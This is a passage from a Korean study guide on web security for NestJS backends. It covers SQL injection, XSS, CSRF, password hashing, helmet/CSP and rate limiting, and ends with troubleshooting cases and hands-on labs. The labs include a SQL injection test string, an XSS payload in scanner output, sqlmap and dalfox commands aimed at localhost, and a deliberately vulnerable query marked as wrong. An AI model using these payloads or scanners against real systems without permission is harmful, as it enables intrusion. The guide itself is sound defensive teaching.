// 4. Rate Limiting (DDoS/브루트포스 방어) app.use( rateLimit({ windowMs: 15 * 60 * 1000, // 15분 max: 100, // IP당 최대 100 요청 message: "Too many requests from this IP", }), );
await app.listen(3000);}OWASP Top 10 2025와 이 문서의 연관성
2025년 개정판에서 가장 큰 변화: Security Misconfiguration이 5위에서 2위로 상승했고, A03: Software Supply Chain Failures(공급망 공격), A10: Mishandling of Exceptional Conditions(예외 처리 미흡) 두 가지 카테고리가 신규 추가되었다. Injection은 #3에서 #5로 하락했는데, 이는 파라미터 바인딩·ORM 사용 등 업계 관행이 개선되었기 때문이다.
| OWASP 2025 항목 | 이 문서의 관련 섹션 |
|---|---|
| A01: Broken Access Control | CSRF, 인증/인가 |
| A02: Security Misconfiguration | helmet, CORS 설정 |
| A03: Software Supply Chain Failures (신규) | npm 패키지 보안, 이미지 스캔 |
| A04: Cryptographic Failures | Hashing & Salting |
| A05: Injection (XSS 포함) | SQL Injection, XSS 섹션 |
| A07: Authentication Failures | 인증/인가 (auth-vs-authz 문서 참조) |
5. 내 업무와 어떻게 연결되나
섹션 제목: “5. 내 업무와 어떻게 연결되나”BackOps 환경에서 직접 마주치는 상황들:
[SQL Injection] 운영팀이 사용하는 내부 어드민 툴도 예외가 아니다. 어드민이라서 검증이 느슨한 경우가 많고, 오히려 더 강력한 권한을 가진 쿼리가 실행되므로 TypeORM 파라미터 바인딩을 항상 적용한다.
[XSS] 사용자가 직접 입력한 텍스트를 화면에 렌더링하는 경우 (댓글, 설명 필드 등) 프론트엔드 팀과 함께 XSS 대응을 논의해야 한다. 백엔드에서는 helmet으로 CSP 헤더를 설정하고, 필요 시 응답 데이터에서 HTML 특수문자를 이스케이프 처리한다.
[CSRF] 쿠키 기반 인증을 사용하는 경우 SameSite=Lax 이상을 적용한다. JWT + Authorization 헤더 방식이라면 CSRF 취약점 자체가 발생하지 않는다.
[Hashing] 사용자 패스워드를 저장하는 테이블이 있다면 bcrypt(saltRounds=12)를 최소 기준으로 적용한다. MD5나 SHA-256으로 패스워드를 저장하는 레거시 코드가 있다면 즉시 마이그레이션해야 한다.
[DDoS/AWS] AWS 환경에서 서비스를 운영하면 Shield Standard는 무료로 자동 적용된다. 서비스 규모가 커지면 WAF Rate Limiting 룰을 ALB에 연결하는 것을 검토한다.
6. 비교 / 대안
섹션 제목: “6. 비교 / 대안”인증 방식과 보안 취약점의 관계
섹션 제목: “인증 방식과 보안 취약점의 관계”| 인증 방식 | CSRF 위험 | XSS 위험 | 권장 |
|---|---|---|---|
| 쿠키 기반 세션 | 높음 (SameSite 필수) | HttpOnly 쿠키로 완화 | 서버 사이드 렌더링 |
| JWT (LocalStorage 저장) | 없음 | 높음 (XSS로 토큰 탈취 가능) | ❌ 비권장 |
| JWT (HttpOnly 쿠키 저장) | 낮음 (SameSite Lax) | 없음 (JS 접근 불가) | ✅ SPA 권장 |
패스워드 해싱 알고리즘 비교
섹션 제목: “패스워드 해싱 알고리즘 비교”| 알고리즘 | 2025년 권장도 | 이유 |
|---|---|---|
| MD5 | ❌ 즉시 교체 | 충돌 취약, 너무 빠름 |
| SHA-256 | ❌ 패스워드 저장 금지 | 너무 빠름, Salt 없음 |
| BCrypt | ✅ (레거시 유지) | 안정적, 검증된 라이브러리 |
| Argon2id | ✅✅ (신규 프로젝트) | OWASP 2025 1순위 권장 |
WAF 솔루션 비교
섹션 제목: “WAF 솔루션 비교”| 솔루션 | L3/L4 | L7 | 커스텀 룰 | 비용 |
|---|---|---|---|---|
| AWS Shield Standard | ✅ 자동 | ❌ | ❌ | 무료 |
| AWS Shield Advanced | ✅ | ✅ | ❌ | $3,000/월 |
| AWS WAF | ❌ | ✅ | ✅ | 사용량 기반 |
| Cloudflare WAF | ✅ | ✅ | ✅ | 플랜별 상이 |
6.5. 트러블슈팅
섹션 제목: “6.5. 트러블슈팅”Case 1: TypeORM createQueryBuilder에서 SQL Injection이 발생한다
- 증상: 파라미터 바인딩을 사용한다고 생각했는데 실제로는 동작하지 않음. 공격 문자열이 그대로 쿼리에 들어감.
- 원인:
.where(\email = ’${email}’`)` 형태의 템플릿 리터럴을 직접 사용한 경우. 문자열 보간은 파라미터 바인딩과 다르다. - 해결:
.where('user.email = :email', { email })형태의 Named Parameter 방식으로 교체. 또는createQueryBuilder대신findOne({ where: { email } })를 사용한다.
// ❌ 잘못된 방법.where(`user.email = '${email}'`)
// ✅ 올바른 방법.where('user.email = :email', { email })Case 2: helmet을 설정했는데 프론트엔드 JS/CSS 리소스가 로드되지 않는다
- 증상: 배포 후 화면이 하얗게 뜨거나, 브라우저 콘솔에 CSP 위반 오류가 출력됨.
Refused to load the script '...' because it violates the following Content Security Policy directive: "script-src 'self'"
- 원인: helmet의 기본 CSP 설정이 CDN이나 외부 스크립트를 차단. React/Vue 빌드 산출물이 인라인 스크립트를 포함하는 경우에도 발생.
- 해결: CSP 디렉티브에 허용할 도메인을 명시적으로 추가한다.
app.use( helmet({ contentSecurityPolicy: { directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'", "https://cdn.jsdelivr.net"], // CDN 추가 styleSrc: ["'self'", "'unsafe-inline'"], }, }, }),);Case 3: CORS 설정을 했는데 CSRF 공격이 막히지 않는다
- 증상: CORS를 설정했으니 외부 사이트에서의 요청이 차단될 것이라 생각했는데, CSRF 공격 시나리오가 여전히 동작함.
- 원인: CORS는 브라우저의 JavaScript 코드가 다른 출처의 응답을 읽는 것을 막는 정책이다. HTML 폼의 submit이나
<img src="...">로 발생하는 요청은 CORS 적용 대상이 아니다. - 해결: CORS는 CSRF 방어책이 아니다. CSRF 방어는 별도로 SameSite 쿠키 설정 또는 CSRF 토큰을 사용해야 한다.
| 정책 | 막을 수 있는 것 | 막을 수 없는 것 |
|---|---|---|
| CORS | JS fetch/XHR의 응답 읽기 | HTML 폼 submit, 이미지/스크립트 요청 |
| SameSite 쿠키 | 외부 사이트에서 보내는 요청에 쿠키 첨부 | - |
| CSRF 토큰 | 유효한 토큰 없는 상태 변경 요청 | - |
Case 4: bcrypt.hash()가 너무 느려서 로그인 API 응답이 느리다
- 증상: 로그인 엔드포인트 응답 시간이 500ms~2초 이상 걸림.
- 원인: saltRounds 값이 너무 높게 설정되어 있음 (예: 14~16). 또는 서버 CPU 성능이 낮음.
- 해결: saltRounds=12를 기준으로 실제 서버 환경에서 벤치마크 후 조정한다. 목표는 200~500ms 내 완료. NestJS에서는 bcrypt.hash()가 CPU 집약적이므로 Worker Thread 또는 별도 서비스로 분리도 고려한다.
// 실행 시간 측정const start = Date.now();await bcrypt.hash("password", 12);console.log(`saltRounds=12: ${Date.now() - start}ms`);// 보통 100~300ms. 500ms 초과 시 saltRounds 낮추기 검토Case 5: AWS WAF Rate Limiting을 걸었는데 정상 사용자가 차단된다
- 증상: 특정 IP의 사용자가 갑자기 429 Too Many Requests를 받음.
- 원인: 기업 망처럼 여러 사용자가 동일한 NAT IP를 공유하는 경우, 하나의 IP에서 여러 사용자의 요청이 집계되어 한계를 초과.
- 해결: Rate Limiting 기준을 IP 단독이 아닌 IP + User-Agent 조합 또는 로그인 사용자는 JWT 기반으로 별도 계산한다. 또는 Rate Limit 임계값을 상향하고 로그인 엔드포인트 등 민감한 경로에만 낮은 임계값을 적용한다.
7. 체크리스트
섹션 제목: “7. 체크리스트”코드 작성 시
- TypeORM 쿼리에 문자열 보간(템플릿 리터럴) 대신 파라미터 바인딩을 사용했는가?
- Raw 쿼리 사용 시 두 번째 인자로 파라미터 배열을 전달했는가?
- DTO에
class-validator데코레이터로 입력 유효성 검사를 적용했는가? -
ValidationPipe에whitelist: true를 설정했는가? - 패스워드 저장 시 bcrypt(saltRounds>=12) 또는 argon2id를 사용했는가?
- MD5, SHA-256으로 패스워드를 저장하는 코드가 없는가?
인프라/설정
-
helmet()미들웨어가 main.ts에 적용되어 있는가? - CORS의
origin설정이 와일드카드(*)가 아닌 특정 도메인인가? - 쿠키에
httpOnly: true,secure: true,sameSite: 'lax'이상이 설정되어 있는가? - API에 Rate Limiting이 적용되어 있는가?
- 프로덕션 환경에서 HTTPS가 강제 적용되고 있는가?
- AWS WAF가 ALB/CloudFront에 연결되어 있는가? (프로덕션 필수)
배포 전 보안 점검
- 에러 응답에 스택 트레이스나 내부 DB 정보가 노출되지 않는가?
- 환경 변수(DB 패스워드, JWT Secret 등)가 코드에 하드코딩되어 있지 않은가?
-
.env파일이.gitignore에 포함되어 있는가?
8. 키워드
섹션 제목: “8. 키워드”SQL Injection Parameterized Query XSS Stored XSS Reflected XSS DOM XSS CSP Content Security Policy unsafe-inline unsafe-eval helmet CSRF SameSite Cookie CSRF Token MITM TLS HTTPS 인증서 CA DDoS SYN Flood L3/L4/L7 AWS Shield AWS WAF Rate Limiting bcrypt 72바이트 truncation Argon2id Salt Stretching OWASP Top 10 OWASP ASVS ValidationPipe class-validator Input Validation Trust Boundary Least Privilege Defense in Depth
8.5. 추천 리소스
섹션 제목: “8.5. 추천 리소스”📚 추천 리소스
섹션 제목: “📚 추천 리소스”- 📖 OWASP Top 10 2025 공식 문서 — 웹 보안의 가장 권위 있는 기준서, 각 취약점 설명과 방어 방법 수록 (중급)
- 📖 OWASP ASVS (Application Security Verification Standard) — 애플리케이션 보안 검증 표준, 레벨별 체크리스트 제공 (중급)
- 📖 OWASP CSP Cheat Sheet — unsafe-inline/unsafe-eval 경계 조건, nonce 기반 CSP 설정 (중급)
- 📖 W3C Content Security Policy Level 3 스펙 — CSP 공식 표준 스펙 (고급)
- 📖 NestJS 공식 보안 가이드 (CSRF) — NestJS에서 CSRF 보호를 구현하는 방법을 설명하는 공식 문서 (입문)
- 📖 OWASP Password Storage Cheat Sheet — bcrypt, Argon2 설정 기준과 패스워드 해싱 Best Practice (중급)
- 📖 MDN SameSite cookies — SameSite 속성 브라우저 지원 현황, None+Secure 요구사항 (입문)
- 📖 NestJS 보안 Best Practices — DEV Community — NestJS 실무에서 자주 쓰는 보안 설정 모음 (입문)
- 📖 AWS Shield vs WAF 공식 가이드 — AWS Shield와 WAF의 차이와 선택 기준을 정리한 AWS 공식 문서 (중급)
9. 직접 확인해보기
섹션 제목: “9. 직접 확인해보기”실습 1: 취약한 쿼리 vs 안전한 쿼리 비교
로컬 NestJS 프로젝트에서 두 가지 쿼리 방식을 직접 작성하고, TypeORM의 실제 로그를 확인한다.
// TypeORM 로깅 활성화 (ormconfig 또는 DataSource 옵션)// logging: true 설정 후, 아래 두 쿼리를 실행하고 실제 SQL 로그를 비교
// 1번: 취약한 방식으로 실행 후 로그 확인const email = "test@test.com' OR '1'='1";// → 로그에 공격 문자열이 SQL에 직접 포함됨
// 2번: 안전한 방식으로 실행 후 로그 확인// → 로그에 $1 파라미터로 분리되어 있음실습 2: bcrypt 해시 생성 및 시간 측정
import * as bcrypt from "bcrypt";
async function benchmark() { for (const rounds of [10, 12, 14]) { const start = Date.now(); await bcrypt.hash("testPassword123!", rounds); console.log(`saltRounds=${rounds}: ${Date.now() - start}ms`); }}
benchmark();// 예상 출력:// saltRounds=10: ~80ms// saltRounds=12: ~300ms// saltRounds=14: ~1200ms// → 서버 환경에 맞게 200~500ms 범위의 rounds 선택실습 3: helmet 헤더 확인
# 로컬 NestJS 서버에 helmet 적용 전/후 응답 헤더 비교curl -I http://localhost:3000/
# helmet 적용 후 다음 헤더들이 추가되어야 함:# Content-Security-Policy: ...# X-Content-Type-Options: nosniff# X-Frame-Options: DENY# Strict-Transport-Security: max-age=15552000; ...실습 4: SameSite 쿠키 동작 확인
Chrome DevTools > Application > Cookies 탭에서 설정한 쿠키의 SameSite 속성을 직접 확인한다. sameSite: 'lax' 설정 후 외부 사이트에서 폼 submit 요청을 보내면 쿠키가 전송되지 않는 것을 Network 탭에서 확인할 수 있다.
실습 5: npm audit — 의존성 취약점 스캔
# NestJS 프로젝트에서 바로 실행npm audit
# 예상 출력 (취약점 있을 때):# found 3 vulnerabilities (1 moderate, 2 high)# run `npm audit fix` to fix them, or `npm audit` for details
# 예상 출력 (취약점 없을 때):# found 0 vulnerabilities
# 수정 가능한 것 자동 수정npm audit fix
# 상세 보고서 확인npm audit --json | jq '.vulnerabilities | keys'# 예상 출력: ["express", "lodash", ...]실습 6: 실제 보안 스캐너로 XSS/SQL Injection 탐지
# DalFox — 오픈소스 XSS 스캐너 (macOS)brew install dalFox/dalFox/dalfox
# URL 파라미터에 XSS 취약점 있는지 스캔dalfox url "http://localhost:3000/search?q=test"# 예상 출력 (취약한 경우):# [VULN] Reflected XSS: http://localhost:3000/search?q=<script>alert(1)</script># [INFO] Found 1 XSS vulnerabilities
# 예상 출력 (안전한 경우):# [NOTICE] Not Found XSS# sqlmap — SQL Injection 탐지 도구 (개발 환경에서만 사용)pip install sqlmap
# 로그인 엔드포인트 테스트sqlmap -u "http://localhost:3000/users?id=1" --dbs# 예상 출력 (취약한 경우):# [INFO] the back-end DBMS is PostgreSQL# available databases: ['mydb', 'postgres']
# 예상 출력 (안전한 경우):# [WARNING] all tested parameters do not appear to be injectable주의:
sqlmap과dalfox는 반드시 자신이 소유하거나 명시적 허가를 받은 서버에만 사용한다. 타인 서버에 사용하면 불법이다.
실습 7: CSP 헤더 검증 — Google CSP Evaluator 사용
# 현재 CSP 헤더 확인curl -I http://localhost:3000/ | grep -i content-security-policy
# 예상 출력 (helmet 적용 후):# content-security-policy: default-src 'self';# base-uri 'self'; font-src 'self' https: data:;# form-action 'self'; frame-ancestors 'none';# img-src 'self' data: https:; object-src 'none';# script-src 'self'; upgrade-insecure-requests위 헤더를 https://csp-evaluator.withgoogle.com/ 에 붙여넣으면 보안 수준 평가 및 개선 제안을 받을 수 있다.
10. 요약
섹션 제목: “10. 요약”웹 보안의 핵심 6가지 공격과 방어를 한 줄로 정리한다:
| 공격 | 핵심 원인 | NestJS 방어법 |
|---|---|---|
| SQL Injection | 사용자 입력이 SQL로 해석됨 | TypeORM 파라미터 바인딩 (:param) |
| XSS | 사용자 입력이 HTML/JS로 해석됨 | helmet CSP + 출력 이스케이프 |
| CSRF | 세션 쿠키가 자동 전송됨 | SameSite 쿠키 + CSRF 토큰 |
| MITM | 통신이 평문으로 전달됨 | HTTPS (TLS) + HSTS |
| DDoS | 서버 자원이 가짜 요청으로 고갈 | AWS Shield + WAF Rate Limiting |
| 취약한 해싱 | 해시가 빠르게 역산됨 | bcrypt(12+) 또는 Argon2id |
가장 중요한 한 가지: 보안은 코드 한 줄로 완성되지 않는다. 입력 검증 → ORM 사용 → 보안 헤더 → 쿠키 설정 → 인프라 방어까지 여러 레이어를 함께 적용해야 실질적인 방어가 된다.